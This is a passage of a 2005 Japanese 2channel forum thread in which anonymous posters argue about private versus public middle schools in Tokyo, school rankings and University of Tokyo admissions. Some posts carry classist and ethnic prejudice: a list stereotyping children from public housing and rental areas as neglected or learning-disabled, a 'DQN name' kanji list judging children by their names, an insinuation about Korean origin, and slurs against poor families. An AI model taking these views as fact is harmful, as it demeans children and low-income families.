>偏差値30だろうが70だろうが私立中に行く価値を見出さないからと言って
DQN親であると言う「 一 般 論 」

わかりにくかったかな?

「一般論」と書いたのは、
「個人の価値観として、自分の子供を、偏差値60未満の私立中に行かせる価値を見出せない と言うならとにかく、
それぞれの個別の事情において、偏差値60未満の私立中だったら行かせる価値がない、ってのはDQN親だね、ってこと。

ただし、

偏差値30だろうが70だろうが私立中に行く価値を見出さないのはDQN親である

ってのも、スレタイの意図と(厳密に言えば多少違うが)ベクトルは同じだから否定しないよ。

274 :実習生さん:2005/04/08(金) 01:53:01 ID:xTid1g7T
問題になっているのは
難関大学進学目的や公立回避という意味では行かせる価値はあるかもしれないが
普通の地域に住んでいる普通の人間であれば公立でも問題がねえのに
なぜわざわざ私立に?ということだよ


275 :実習生さん:2005/04/08(金) 01:53:11 ID:9gFjqp5L
>>246
そもそもはといえば、下位私立に行く=DQN回避だとしか思えないということ自体が
DQNそのもの
>>247
2chで2ch用語は普通
リアルで使うやつは痛いけど。
学校で習わなかったかって?
なんだそりゃww
公立で何を学ぶんだw
>>249
見かけじゃないんだよ、ヤンキーでもDQNでもいいけど
公立には不安要素が多すぎる
荒れていなくとも、通うこと自体に意味がない
>>255
えっと・・
公立にはそういう親がいないとでも??
>>265
60未満は価値がないと?
そういう風にしか思えないって、悲しいねw
>>268
同意
偏差値でしか価値を認めないのはDQNに通じるものがある


276 :実習生さん:2005/04/08(金) 01:56:23 ID:9gFjqp5L
>>274
なんだよそれww
じゃあなにか?
治安の悪い地区でなければ、公立は安全とでも?
地域で全てが決まるのか?
もしかして、DQN生徒だけが危険って思ってない?

だいたい、DQN回避だけ、なわけがないw
それ以前に、学校の意義がわかってないのか?
さっきから下位私立=DQN回避のみ、だとか書き込んでいる者はw
まあ、公立出身じゃ仕方ないか(俺も公立にしか逝ってないけど)
公立中学で3年間、何をしに学校に逝くかとか考えないのが普通だしな

277 :名無し@教育板:2005/04/08(金) 01:59:55 ID:5W/zVL2P
昔、と言っても20年くらい前は、
麻布中だけ受けて落ちたら公立中ってのもよくあった。
偏差値60未満の私立中なら行かせる価値ない、っていうのはこんな感じだろ。

しかし今日び、偏差値60以上の私立、海城、早稲田あたりがダメだったら公立中
なんて言っているようじゃそりゃ少し鼻息荒すぎ。
まあ個人の主義主張の範囲ならともかく、それを一般化するのはやっぱモノが見えているとは言えないね。
以前にも書いたけど、むしろ単なる「見栄っ張り」(3年間先送りしているだけなんだけどね)だろうね。

偏差値75の子供の学校選びなんか簡単なんであって、親の勝負どころは、むしろ、いかにあんまりできない子に対して
その子にとってのより良い選択肢を与えられるか、ってことなんだよ。
その辺を履き違えているのはダメだね。

278 :実習生さん:2005/04/08(金) 09:20:51 ID:YcB5AeSz
教育意識の低い成り上がりブルジョワの親はDQN私立に子供を通わせ、
教育意識の低いプロレタリアの親はDQN公立に子供を通わせる。
子供のためを考えたら、そこで頑張らせて受験に励めるレベルの中学なり高校に
入れてあげるのが理想だが、何も考えずに子供を現代のDQN校に入れる親は、そんな発想がない。
なぜなら彼らの多くもたいした学歴もなく、教育の現状すら理解していないから。
一流大学まで進学する子供の親は、その親自体がすでに高学歴層であることが多いのは階層構造論の定説。
だから低レベル公立出身のアタマも悪く学歴もないガキにはきちんと言っておく必要がある。

「お前の両親もバカだったんだな」

279 :実習生さん:2005/04/08(金) 09:38:34 ID:vEmhdvuz
逝かせてはいけないDQNがいる公立中の見分け方は、
高級住宅街かそうじゃないか・・・では無いよ

DQN公立中の見分け方
@.商店街、繁華街、パチンコ、ホテル街が学区域に入っている
    →比較的近所の2DKなどに家族ですんでること多し
     商売人の子どもはネグレストが多く、勉学にも熱心ではない

A.公営住宅が学区域にある。
    →低脳児や疑学習障害児が多く、親は殆んど外で見かけることは無い。

B.交通の便が悪い中学校。
    →どの教師だって○○駅からバスで30分・・なんて学校逝きたくない
     良質な教師は、良い環境で良質な生徒を望む。
     悪環境でも仕方なく逝く教師は余った教師。選択肢が無い教師
    
C.アパート、長屋、賃貸住宅が多い。
    →低所得者層。母親がストレスを溜めていて、ヒステリー系多し
     イジメの親分はこのような家庭多し  

D.周辺に学習塾・進学塾など一切無い。
    →勉強に興味が無い家庭の多い地区。
     勉強に興味なし、カネは無いときたら、今時の中学生やることは一つ

280 :実習生さん:2005/04/08(金) 12:31:41 ID:ijVowcPL
>>277
何度でもいうが選択肢は与えるんじゃなくて本人が探す物だ。
そこを履き違えるな。

それから仮に偏差値で区切ってもそれは本人の勝手。
君はそれを一般論にした例を強引に出し、存在しているかのようにしているが
そもそも自明の理をだして論を主張するなど滑稽もいいところ。

それともそういう自分の見解を見せびらかして「自慢」してんの_?(w

281 :実習生さん:2005/04/08(金) 14:40:58 ID:pa90SaNq
確かにここは名無し@教育板とその分身のチラシの裏に過ぎない。
名無し@教育板が「個人的に」そのような見解を持つのは勝手だが
名無し@教育板の個人的な見解を無自覚に=そのまま一般論に置き換えても
何の躊躇もないところが痛過ぎ。
北朝鮮のキム豚とそのマンセーみたいだ。

>>275
>>276
DQN回避と学力以外の公立の不安要素って具体的に何???

名無し@教育板って半島の人間なんじゃないのか?
論理のすり替えとか得意だし。

282 :実習生さん:2005/04/08(金) 15:54:20 ID:xZzastta
>>279
>逝かせてはいけないDQNがいる公立中の見分け方は、
>高級住宅街かそうじゃないか・・・では無いよ

高級住宅街は必要十分条件ではないだけ。
必要条件ではある。

ま、東京なら普通は近くに繁華街や塾や賃貸アパートは必ずある。
規模の大小はあれども近くに繁華街がないような場所で交通の便がいいはずはない。




283 :実習生さん:2005/04/08(金) 16:52:14 ID:FAdAcmNo
>>282
同感です。
中学校の通学範囲は小学校と比べて広いので、そこの中学の学区全てが
高級住宅オンリーとはいかないです。どうしても賃貸アパートとかちょっと商業地域が
入ったりしていますね。
むしろ高級住宅地といわれているところは、中学受験以前に小学校受験で抜けていくお家も
かなりあります。

個人的には中学受験を考えなかったご家庭で高校から難関進学校へ入るほうが?と思います。
例えば中学受験で入れなかった開成に高校で再チャレンジなら心情的によくわかります。
でも公立中でトップクラスの成績で本当に賢いなら本人の力でどこの大学でも
入れると思います。
それなら学区の公立高校でよいはずです。
なぜ学費が高くて、進学塾の中でもいわゆる開成コースとかに在籍して頑張っていないと
入れないのに高入生として入ろうと思うのでしょうか。どうもよくわかりません・





284 :名無し@教育板:2005/04/08(金) 17:16:07 ID:5W/zVL2P
>>280
>何度でもいうが選択肢は与えるんじゃなくて本人が探す物だ。
そこを履き違えるな。

こういうのを話のスリカエって言うんでしょ?
大学でどこ行くか、なんてそりゃ本人の選択だけど、中学校どこ行くかはまだ親の関与が必要。
経済的な問題もあるんだしね。
おまえはDQNすぎて問題をきちんと整理できないようだな(ww

>それから仮に偏差値で区切ってもそれは本人の勝手。

だからこそ「本人」のDQNさの証明になってしまうんだよ。



285 :名無し@教育板:2005/04/08(金) 17:31:51 ID:5W/zVL2P
>>281
北朝鮮的なものが個人的な見解の押し付けであるのなら、公立中こそまさにそうじゃん。
「私立に行く」「私立に行かせる」ってことは、数ある選択肢の中から選んだ結果だし、
少なくともそういう能動的な行動を取ったわけだ。

逆に公立中学ってのは、ただ住んでいるところで決められる学区の中学に行くだけ。
選択性もあるし、そもそも居住地を選択している、と言えないことはないが、所詮、文科省管轄の
全国規格の配給品。

おまえのような公立マンセーは、公立の配給品をマンセーしているわけで、
まるっきり北朝鮮マンセーそのものじゃん(w

公立マンセーの底辺私立批判なんてのは、
欧米諸国じゃなければ、アジアあたりだったら、ウリナラの方がまし!
って言っているのとまったく同じ。

286 :実習生さん:2005/04/08(金) 17:43:21 ID:/IrlETkp
俺、高校までずっと田舎の公立で慶應。前述の境遇の友達に東大や医学部行った椰子もいる。東大理Vとか京医とかでなければ田舎で小〜高まで公立でも有名大は行ける。不利なのは事実だが。

287 :名無し@教育板:2005/04/08(金) 17:47:24 ID:5W/zVL2P
DQNな学校の見分け方は、名簿を見ればいいよ。

DQNな学校ほど、画数の多い漢字とヘンな読み方だらけの読めない名前が並んでいる・・・
「夜露死苦」って感じの・・・
今でもクラス名簿くらいはあるので見てごらん。

偏差値の高い私立中学の名簿はほとんどの名前が「読める」んだよ(w

288 :実習生さん:2005/04/08(金) 18:01:30 ID:YcB5AeSz
>>287

DQN名の例      非DQN名の例 

「翔」「勇」「竜」「龍」  「徳」「幸」「仁」「英」
「太」「輝」「丈」「也」  「信」「誠」「隆」「礼」
「純」「涼」「斗」「樹」  「博」「恵」「智」「明」
「亜」「菜」「麗」「璃」  「敬」「清」「良」「謙」
「虎」「駿」「未」「夢」  「文」「尚」「直」「孝」
「遊」「隼」「紫」「飛」  「秀」「寛」「友」「知」
「蘭」「星」「聖」「宙」  「学」「正」「康」「道」
「流」「駆」「舞」「羅」  「崇」「裕」「徹」「哲」
「月」「風」「嵐」「華」  「実」「志」「彰」「彦」

非DQN名ってのは、精神的、道徳的価値観を表す字なんだね。
それに対してDQN名(珍名と言っても良い)は、威勢の良さと
表面的な綺麗さだけ。
つくづく思うのは、ここに挙げた非DQN名ってのは、
ちょいと前までは極めて一般的で、これらの字を使ってない
名前を探す方が困難だったってこと。
何というか、知性の崩壊が進んでいることを実感するね。

289 :実習生さん:2005/04/08(金) 18:02:04 ID:N7jxZ+wy
優良住宅地区の金持ち世帯は、小学受験、中学受験で殆ど消える。

290 :実習生さん:2005/04/08(金) 18:34:13 ID:ijVowcPL
>>284
だからアンタこそはすり替えなんだよ
「どの科の」「何処の」高校に「行く」「行かない」は自分で探すもんだろ?

>それから仮に偏差値で区切ってもそれは本人の勝手。

>だからこそ「本人」のDQNさの証明になってしまうんだよ。

チラシの裏でしょ?冗談だよなぁ。偏差値による区切りの良い悪いなんか
当事者が決める事で君みたいな部外者がどうこういうべき事じゃないだろ?
アンタなんか「何も考えずに公立に行く奴はDQN」などと勝手にレッテルを貼ってるが
そういう態度こそはDQN中のDQNだろ。

いいか?前にも言ったが「俺は公立が嫌いで公立進学を勧める奴はDQN」なら無問題なんだよ
アンタの好き嫌いを勝手に普遍性を持たしてマーライオンしているから問題があるの。


291 :実習生さん:2005/04/08(金) 18:36:39 ID:xZzastta
>>289
>優良住宅地区の金持ち世帯は、小学受験、中学受験で殆ど消える。

それがそうでもないんだなー。
公立中学がまともなら公立でも良いと考える人もかなりいるのさ。

292 :実習生さん:2005/04/08(金) 18:43:42 ID:/IrlETkp
俺、DQN名と非DQN名の両方に該当してますわ。

293 :実習生さん:2005/04/08(金) 18:48:52 ID:PBwggOpa
都内なら確かに中学受験で殆ど消える。

294 :名無し@教育板:2005/04/08(金) 19:05:44 ID:5W/zVL2P
>>290
>「どの科の」「何処の」高校に「行く」「行かない」は自分で探すもんだろ?

高校受験のことか?
時代の趨勢は中高一貫なんで、そういう選択をせざるをえない時点で多くの場合すでに遅きに失しているのだが。

まあここは中学校での教育をどうするかの話をするところなので、
終わった後選択してもしょうがないんだよね。
別に私立中から公立高校行ってもいいんだし(w


295 :名無し@教育板:2005/04/08(金) 19:08:22 ID:5W/zVL2P
>アンタなんか「何も考えずに公立に行く奴はDQN」などと勝手にレッテルを貼ってるが

スレタイを読んでみろ。
本人に関しては関係ないんだよ。
ただ、DQN親を持った、というだけのこと。


296 :名無し@教育板:2005/04/08(金) 22:41:42 ID:5W/zVL2P
>別に私立中から公立高校行ってもいいんだし(w

ついでに書いておくと、かつてはこのルートもあった。
ラグビー協会会長代行の日比野弘氏は私立城北中→都立大泉中
今このルートを辿ったら、城北中で成績不振で都立へ、とかしか思われないけど、
都立の全盛時代には私立中で勉強して都立高校へ、というのもアリだった。
学芸だって附属中学の優秀層は都立へ抜け、それ以下が附属高校へ行った時代もあるんだし。
最近でも法政二中みたいな中学もあることだし、将来、都立○○高校へに入学実績を謳う私立中学ができても不思議じゃない。

297 :名無し@教育板:2005/04/08(金) 23:04:58 ID:5W/zVL2P
>>296
大泉中じゃなくて大泉高でした。スマソ

298 :実習生さん:2005/04/08(金) 23:47:56 ID:1u6TAlIu
【社会】"生まれつき栗毛なのに" 女生徒、黒髪染め&退学強要される→提訴★2
http://news19.2ch.net/test/read.cgi/newsplus/1112965144/

公立って最低限の基本的人権も保証されないのね。

299 :実習生さん:2005/04/08(金) 23:54:57 ID:QNfsh74y
都立高校全盛時は都立高校に進学できるのは上位1/3までだった。
私立高校に行くのは麻布、開成を除けば落ちこぼれだった。
特に引越し等でトップ高に転入するのは入学試験よりも難関だった。
転入生10人のうち8人が東大に進学した。
そういう時代もあった。

300 :実習生さん:2005/04/09(土) 12:22:30 ID:VUH2jBXL
>>299
そんなこといっても、なんとも思わん
だからどうしたのって感じwww

301 :名無し@教育板:2005/04/09(土) 15:12:50 ID:6RpY/w6O
>>299
は大筋で間違ってはおらんが、細部で不正確だしな。
麻布の高校募集は縁故のみ僅かだったし、
開成高校も都立トップのスベリ止め時代はあった。
当時の武蔵は高校募集あり、で上記の2校よりランクは上・・・とかね。

それ以前に>>300さんの言うとおり、だかどうしたの? っていうDQNなレスだね。


302 :実習生さん:2005/04/09(土) 16:24:55 ID:wTPH/mSR
だから私立でも公立でもDQNはDQN.
低偏差値にはDQNが多いということでみんな納得。

303 :実習生さん:2005/04/09(土) 16:49:39 ID:WrJOXHzl
都立高校全盛期の時の公立中学ってどんなものだったの?
昔の事知らんから教えてエロイ人。

都立(公立)の実績が凄いって事は、土台の公立中学が良かったのかな。


304 :実習生さん:2005/04/09(土) 17:29:46 ID:Cg9iI1+E
>>303
>都立(公立)の実績が凄いって事は、土台の公立中学が良かったのかな。
単に入学者が優秀なら出口でも優秀な結果を残すってことだけ。
これは今も変わらんと思う。


305 :実習生さん:2005/04/09(土) 17:42:13 ID:kxzBJSHA
都立高校 入学時偏差値>>卒業時偏差値
神奈川県立高校 入学時偏差値>>>>>卒業時偏差値
私立中・高一貫校 卒業時偏差値>>入学時偏差値
公立中学 入学時偏差値>卒業時偏差値 

こんなところか。  


306 :実習生さん:2005/04/09(土) 17:45:22 ID:knE9jQYC
うむ
しかし神奈川の公立中高は酷いな


307 :実習生さん:2005/04/09(土) 18:36:12 ID:K1eJqFB+
>>305
あまり意味無いんじゃない?この比較。
入学時と卒業時で、偏差値取る母集団が違うじゃん。
県立高校の偏差値は、県内だけの話でしょう。
開成高校の偏差値70と、湘南高校の偏差値70は
同じ70でも意味が違うよね。
高校にいるあいだに偏差値が下がるんじゃなくて
全体と比べれば、もともとそのくらいなんだよ。
まあ 306の感想はそのとおりなんだけどさ。

308 :実習生さん:2005/04/09(土) 18:41:08 ID:wVpxUNc3
>>301
>麻布の高校募集は縁故のみ僅かだったし、

俺、卒業生だが、そんな話知らんよ。
高校からは若干名しか入ってこなかったけd。

309 :名無し@教育板:2005/04/09(土) 18:56:55 ID:6RpY/w6O
>>308
>高校からは若干名しか入ってこなかったけd。

だからそれじゃん。
開成中学→麻布高校
という香具師もいた(w

310 :実習生さん:2005/04/09(土) 23:18:31 ID:gh9VZz6S
なあ、単純に私立中の教育内容って、公立のそれより確実に有用なものなのか?



311 :実習生さん:2005/04/09(土) 23:25:10 ID:0jr6ZxXZ
>>310
6年間という時間がある
最小の努力で最大の効果をあげることが出来る合理的なカリキュラムが組んである


312 :名無し@教育板:2005/04/09(土) 23:26:07 ID:6RpY/w6O
>>310
質問自体がDQNだな(w

313 :実習生さん:2005/04/10(日) 00:02:15 ID:gh9VZz6S
>>311
最小の努力で最大の効果が得られたという客観的な検証は出来ているのか?
個人の能力によるところが実は多いのではないの??

>>312
こういう答えしか出来んのかな?w
寂しいね。

314 :実習生さん:2005/04/10(日) 00:16:37 ID:LcsVcTBk
>>313
今の公立のカリキュラムだと能力だけではカバーしきれないん程なんだな 
カリキュラムや教師のレベル(ただしある程度の私立)は圧倒的に私立の方が合理的
かといって弊害も多い私立を薦めているわけではないけどね

315 :実習生さん:2005/04/10(日) 00:17:18 ID:v+E102nv
>>310
有用かどうか不明だけど、能力別にはなるだろうなとは思う。
同じような程度の子だけだと授業もやりやすい。
しかし進学先を選ぶときもまわりと同じような意識に支配される。
だから低いレベルの私立に入ったら中学の段階でしょぼい将来が確定する。
公立中学なら上澄み1割から2割は高校受験で公立上位校や難関大付属校へ
進学し、中位〜上位の私立一貫校卒業生にひけをとらない将来も期待できる。
下位私立ではその可能性も絶たれてしまう…。

316 :名無し@教育板:2005/04/10(日) 00:36:15 ID:Z5F6tR0t
>>313
だって私立中学の教育内容なんて千差万別なんだから・・・
公立のように全国一律の社会主義教育(プラス最近ちょっとばかりのローカルなアレンジ)っていうのと違うわけなんだから。

おそらく「教育内容」って「受験学力養成カリキュラム」いう意味だけしかないんだろう。
その点でも底の浅さを露呈しているな。

317 :名無し@教育板:2005/04/10(日) 00:43:59 ID:Z5F6tR0t
>>315
>だから低いレベルの私立に入ったら中学の段階でしょぼい将来が確定する。
公立中学なら上澄み1割から2割は高校受験で公立上位校や難関大付属校へ
進学し、中位〜上位の私立一貫校卒業生にひけをとらない将来も期待できる。
下位私立ではその可能性も絶たれてしまう…。

下位私立に入るような香具師が公立中学に行ったとして・・・公立上位校や難関大付属校へ進学し中〜上位の私立一貫校卒業生にひけをとらない将来が期待できるか?
それよりおとなしく下位私立中学に入ってきちんと勉強した方が中〜上位の私立一貫校にひけをとらない将来の可能性が高いんじゃないの?

318 :名無し@教育板:2005/04/10(日) 00:54:24 ID:Z5F6tR0t
教育の中身は、知育だけに限らない。
そして知育においても、大学受験に合格するような学力の養成なんてほんの部分的なものにすぎない。

公立は、教育においても、知育においても、受験学力養成についてもダメ。

319 :実習生さん:2005/04/10(日) 00:59:05 ID:maz1+y56
>318
部分的っていいながら9割以上は受験学力養成じゃないの?
教育だろうが知育だろうがなんでもいいから具体的に何をやってるのかいってみたら?
特定の私立でいいからさ。
具体的になんもやってないけど、なんとなく雰囲気で教えてるんだよってのならそれでもいいけどね。w

320 :名無し@教育板:2005/04/10(日) 01:08:13 ID:Z5F6tR0t
>>319
>教育だろうが知育だろうがなんでもいいから具体的に何をやってるのかいってみたら?

猫に小判だよ(w
それよりおまえの思考力をアップさせるための糸口を教えてやるよ。

おまえの人生の中で、学校で、「受験学力養成以外の」教育を受けたことがあるか?
そしてそれがおまえの身になったという実感はあるか?
学校とは大学を含めてだぞ。




321 :実習生さん:2005/04/10(日) 01:22:20 ID:aA3BbhA0
品川女子でも今年、東大に二人受かっている。
今や底辺私立中では将来が決定されるとは言い難い。

322 :実習生さん:2005/04/10(日) 01:22:48 ID:maz1+y56
>320
学力の養成が部分的だって自分でいったんだから
まず自分の受けた学力養成以外を書いてみろよ。w
書いてある内容がさすが私立だねっていえるような事ならすごいっていってやるからさ。
論理的に物事を伝える能力があるなら簡単に述べられるだろう?
それとも公立はだめとしか書けないおばかさんなのかな?
お子ちゃまには難しすぎる問題ですかね?
ネコに小判だのつまらん事書く暇があるなら、さっさとどうぞ。

後、年間どれぐらいの時間をかけてるのかもね。
年に一度、○○賞とった人が講演に来るんだとか、
ホテルでフランス料理を食べながらテーブルマナーを学ぶんだとか言い出すなよw。

323 :名無し@教育板:2005/04/10(日) 01:34:57 ID:Z5F6tR0t
>>322
>書いてある内容がさすが私立だねっていえるような事ならすごいっていってやるからさ。

何書いてもいちゃもんつけるだけなのは見え見えなんだから無駄じゃん。
第一、私立がそれぞれどういう教育をやっているかなんかHPとかにも書いてあるじゃん。
それを「読む」能力があるかどうかでしょ。

また、たとえば、何で開成は運動会なんかやってるの?
運動会は受験学力養成のためにやっているのか?
まあ巣鴨の大菩薩峠はそうかもしれんけどな(w





324 :実習生さん:2005/04/10(日) 01:42:24 ID:maz1+y56
>321
なんで四谷大塚50%で偏差値約46〜50の学校が底辺私立になるんだよ。w
30から37,8(せめて42,3以下)の私立中を例にだすべきだろう。


325 :実習生さん:2005/04/10(日) 01:45:27 ID:aA3BbhA0
えっ、六〜七年前には品女は偏差値四十代前半だったと
記憶していますが?

326 :名無し@教育板:2005/04/10(日) 01:53:31 ID:Z5F6tR0t
>>325
合格者平均43.3/45.7@四谷大塚
(品川女子の場合、日能研の数字には信憑性なし)

327 :他にも努力の後が見られる底辺私立:2005/04/10(日) 01:58:26 ID:aA3BbhA0
錦城・東大1、早稲田20、慶応4
佼成学園・早稲田6、慶応4
聖徳学園・東大2、早稲田11、慶応4
高輪・東大2、早稲田12、慶応9
帝京大付属・早稲田24、慶応2
東京純心女子・東大1、早稲田9、慶応2
目黒星美・東大2、早稲田7、慶応5

328 :実習生さん:2005/04/10(日) 02:10:02 ID:aA3BbhA0
因みに今年、都立高校で東大合格者が出たのは
国立、小石川、国際、国分寺、立川、戸山、西、八王子東、
日比谷、町田、都立武蔵、両国の計十二校、六十八人です。
日比谷の躍進(十四人)が大きい。

一方、都内の国私立で東大合格者を出したのは
計五十三校あります。
人数は多すぎるのでパス。約千人弱かな?
サンデー毎日全国主要1000校から抜粋だから
もしかしたら漏れているのがあるかも知れません。

329 :実習生さん:2005/04/10(日) 02:19:36 ID:maz1+y56
>323
いちゃもんなんかつけないよ。ってかいちゃもんつける以前のレベルじゃね〜か。w
HPに書いてあるって、HPに書くのはなんでもきれい事にきまってるだろ。
仮にそのHPで書いてある内容が教育方針ならそれをを身に着けたり、教育するために
具体的にどういう事が行われているのかを簡単に述べてくれ。

開成の運動会って、、、、運動会なんてどこでもやってるがな。
他の学校の運動会と比べてどう違うのかを書かないと意味がないだろ?
公立の運動会がダメで私立(この場合開成)の運動会はすばらしいんだって事を
読んでるものが納得できる形で書いてくれよ。

面接で学生時代の思い出や学んだ事で何が良かったですか?ってきかれて、
運動会がありました。だけでおわったらそれこそ底辺高校生だぞ。w

さすが私立はすごいねっていわせてくれ。w

330 :実習生さん:2005/04/10(日) 02:36:03 ID:g8ILsyj7
公立と私立では学力の差はすごいと思う。
進学校の私立は高2くらいから受験演習してるんだから一流大学行けて当然。

331 :実習生さん:2005/04/10(日) 02:39:40 ID:pnCLTWCG
え??公立って馬鹿で貧乏な底辺階級のがきがいくところだろ。


332 :名無し@教育板:2005/04/10(日) 02:43:44 ID:Z5F6tR0t
>>329
>HPに書いてあるって、HPに書くのはなんでもきれい事にきまってるだろ。
仮にそのHPで書いてある内容が教育方針ならそれをを身に着けたり、教育するために
具体的にどういう事が行われているのかを簡単に述べてくれ。

教育方針に沿って具体的にどういうことが行われているかなんてHPに書いてあるって(w
ただ、その教育としての意図がおまえに理解できないだけのことだろ(w
だいたい何できれいごとだと気に入らないのか?
単にいちゃもんつけているだけだろうが。

>開成の運動会って、、、、運動会なんてどこでもやってるがな。

あほか。
公立の運動会は「やらされて」いるの。

>他の学校の運動会と比べてどう違うのかを書かないと意味がないだろ?
公立の運動会がダメで私立(この場合開成)の運動会はすばらしいんだって事を
読んでるものが納得できる形で書いてくれよ。

自分で調べろよ。

>面接で学生時代の思い出や学んだ事で何が良かったですか?ってきかれて、
運動会がありました。だけでおわったらそれこそ底辺高校生だぞ。w

おまえは面接官なのかよ? 馬鹿も休み休み言え。

おまえみたいにふんずり返って「教えろ」なんて態度だからまともな思考力も身につかないんだよ。
おまえが公立出身者だとしたら、ホント、ダメな教育の具体的実例だな(w


333 :名無し@教育板:2005/04/10(日) 02:54:10 ID:Z5F6tR0t
教えて欲しいことがあるなら、>>320に戻れ。
話はそれからだ。

>部分的っていいながら9割以上は受験学力養成じゃないの?

なんて言っているのくらいだから頭の程度は多寡が知れているけどな。



334 :実習生さん:2005/04/10(日) 03:20:15 ID:BRUwNhjF
個人的な感覚では小学校時のレベルで比較してみて、中高一貫私立学校に行ったから大学進学結果が良くなったとは到底思えないのだが。
否定でも肯定でもいいから進学面から見て、中高私立一貫校の効果を誰か実証してくんろ。

335 :実習生さん:2005/04/10(日) 03:34:06 ID:+afRc4y8
新宿高校は、いまはダメになったとか
聞いたんだが、どーかぇ?

336 :実習生さん:2005/04/10(日) 04:01:42 ID:0gYfq0io
>>333
つまり具体的には何も答えられないと…       
相変わらず見栄っ張りだな

337 :実習生さん:2005/04/10(日) 08:51:20 ID:yKfIvspL
>つまり具体的には何も答えられないと…  

名無しクンは、公立中の悪い点は、時に具体的にかつ身近な例に例えて懇切丁寧な解説をしてくれるが、私立のよりましな点は、私立毎で違う、自分で調べろ、***だっていうのは明らかジャン?etcと言って説明を逃避してるよねw

2、3の私立の具体例をあげながら説明してもいいと思うがいかがかな?

スレを荒れさせてる原因の一端は名無しクンにもあるのにね。
私立マンセーは、少し議論の進めたかが乱暴ですねww

338 :名無し@教育板:2005/04/10(日) 09:39:17 ID:Z5F6tR0t
>>336 >>337
わざわざ自分の馬鹿さ加減を自己紹介ご苦労。

私立中学の教育の中身の9割以上が受験学力の養成だと言っているような頭脳レベルの ID:maz1+y56に、
「教育とは何ぞや」なんて説明してもまったくの無駄だよ。

それこそ、

>年に一度、○○賞とった人が講演に来るんだとか、
>ホテルでフランス料理を食べながらテーブルマナーを学ぶ

くらいしか思いつかないような香具師なんだからさ。




339 :実習生さん:2005/04/10(日) 09:45:04 ID:YOI9PuDf
ここ見てると、私立でもバカが多いわけがわかったよ
頼むから公立で使われる側の教育を受けてくれ、
バカは私立に入るな

340 :実習生さん:2005/04/10(日) 10:05:38 ID:iHxX3TIS
必死で昔の進学実績を出す公立派、哀れだなw
誰も昔のことなんて聞いてない
それにそもそも、公立からの進学なんて
塾や予備校などの力が大きい


341 :実習生さん:2005/04/10(日) 10:16:03 ID:E5S1iAST
>>340
>それにそもそも、公立からの進学なんて塾や予備校などの力が大きい
私立の進学実績は学校のお陰で、公立は塾や予備校のお陰だというのを実証してくんろ。
自分で決め付けるだけなら、誰でもどんな事でも言えるわな。

342 :実習生さん:2005/04/10(日) 10:22:07 ID:GaabTlTz
私立も荒れているぞ
学級崩壊やいじめもひどい

教委の目がないから表に出てこないだけ

343 :実習生さん:2005/04/10(日) 10:46:03 ID:tP+dRErf
>>341
あなたが「授業なんて公立も私立も一緒さ」って思うんなら
それでいいんじゃないの?w
実際、心の中ではそんなこと思ってないんでしょ
それが答え
>>342
じゃあ、公立でもいいって言うのか?www
あなたが言っているのは、例えばの話だけど
列に割り込みをしたとして、誰かから「割り込むな」といわれる
んでもって「向こうのやつも割り込んでたぞ」と言い返しているようなもの


344 :名無し@教育板:2005/04/10(日) 11:05:59 ID:Z5F6tR0t
>>342 ID:GaabTlTz = 私立中学制度廃止厨


345 :実習生さん:2005/04/10(日) 11:12:58 ID:omwcOqgM
全民営化賛成

346 :お馬鹿の337ですがwww:2005/04/10(日) 11:13:04 ID:yKfIvspL
>>337

何悦に入ってるんだろうね〜www

説明がそんなにエネルギー使うの?
>>336クンは、イチャモン付けかも知れんが、こっちは具体例が聞きたいって言ってるだけなのにね。

おバカさんには説明してあげられないの?

347 :実習生さん:2005/04/10(日) 11:18:44 ID:GaabTlTz
>>343
ちょっと話がずれているよ
そのたとえで行くならA列にならべば割り込みがひどいからB列に並ぼう、というようなもの
もしB列も割り込みの被害にある確率が高ければどちらも同じことだ

348 :実習生さん:2005/04/10(日) 11:20:35 ID:GaabTlTz
今年日比谷から東大合格者が激増したのを知らないのか?
中学はいろんな子がいる環境で育って社会性を見につけ、高校で熱心に勉強する
それで東大には入れるなら、子供の頃から偏った教育を受けて東大に行くよりよほどいい

私立中に行かせるのは金をどぶに捨てるようなものだ

349 :実習生さん:2005/04/10(日) 11:36:42 ID:pnCLTWCG
>>348 貧乏人のごみは来るなってんだ

350 :実習生さん:2005/04/10(日) 11:42:12 ID:vzqtJl2X
>>338
>年に一度、○○賞とった人が講演に来るんだとか、
>ホテルでフランス料理を食べながらテーブルマナーを学ぶ

>くらいしか思いつかないような香具師なんだからさ。

だから〜流石と思える事例を出しなさいよ〜
そう言うからにはさぞかしチャンと知ってんでしょ〜

「ごめんなさい知りません」と言えば済むんだよ
強がりで無能の名無しくん

351 :実習生さん:2005/04/10(日) 11:42:18 ID:ctrxvwts
>>348
>中学はいろんな子がいる環境で

どういうふうにいろんな子供がいるんだ??

352 :実習生さん:2005/04/10(日) 11:50:32 ID:weHTmRu6
>>348
日比谷とかの一部の学校の努力は賞賛すべきだと思うけど、公立中が悲惨すぎる。
現状では公立中から公立トップ高校へのルートは推奨できかねる。
もしも日比谷とかの実績が更に上がるような事がおきれば、そのうちに日比谷を
目指す事を目的とした高校受験専門の私立中学が人気になると思われる。

353 :実習生さん:2005/04/10(日) 12:12:07 ID:05Uhbgrc
>>347
議論のすり替えだな、そりゃw
そういうことじゃない
スピード違反で捕まって
白バイの人に「他のやつもスピード出してるじゃないのさ」って言っても
自分がスピード違反していることに変わりは無い
そういうことが言いたいんだよ
だいたい、あのたとえでどうしてA列がひどいからB列ってなるんだ?ww
公立派は本当に論点のすり替えが上手いなw
感心するよ
>>348
だからそれがどうしたの?
都立高校から東大に行くって、そんなにすごいことなんですねw
トウダイ、トウダイ、キョウダイ、コクリツウガクブ、コクコウリツ、耳にたこが出来る・・・
まあ、公立から東大にいけるんだから、そりゃあ自慢したくもなる罠w
君みたいに価値がわからん者にとっては
金をドブというより、何もかも無駄だw


354 :実習生さん:2005/04/10(日) 12:16:28 ID:05Uhbgrc
だいたい、公立にいろんなタイプがいるって、意味不明
下位と、私立に逝かせてもらえなかった層と
中位の一部が残っているだけなのに。。。
それにね、公立って言うのは「出る杭を叩き」たがる世界
画一化が激しい
詰め合わせ菓子のようにみんな一緒じゃないときがすまない
覚えることといったら、つまらん自衛意識と人を疑う心だけさ
まあ、このスレのような公立擁護派とDQN生徒が大きい顔している
公立にいくとなると、そりゃ、得るものなんてありません罠

355 :名無し@教育板:2005/04/10(日) 12:20:16 ID:Z5F6tR0t
>>350
だから具体例として「開成の運動会」を例として出したでしょ・・・
はいはいこれでございます、と目の前に持ってきてもらわないと見えないんだろ。
少しばかりの脳みそがあればわかるように書いてあるのに・・・



356 :実習生さん:2005/04/10(日) 13:39:28 ID:Rvr1wx9a
